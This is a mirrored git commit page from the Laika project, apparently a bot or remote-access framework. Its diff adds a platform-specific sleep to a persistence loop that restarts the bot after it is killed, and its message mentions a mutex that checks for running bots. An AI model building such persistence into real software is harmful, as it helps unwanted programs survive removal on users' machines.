mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-11 18:30:08 +00:00
Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()
- use Sleep() for LAIKA_PERSISTENCE in main() - use Mutex for checking existing LaikaBots - switched to TEXT() for win32 strings
This commit is contained in:
@@ -32,7 +32,11 @@ int main(int argv, char *argc[]) {
|
||||
/* bot was killed or it threw an error */
|
||||
laikaB_freeBot(bot);
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
#ifdef _WIN32
|
||||
Sleep(5000);
|
||||
#else
|
||||
sleep(5);
|
||||
#endif
|
||||
} while (1);
|
||||
|
||||
laikaB_unmarkRunning();
|
||||
|
Reference in New Issue
Block a user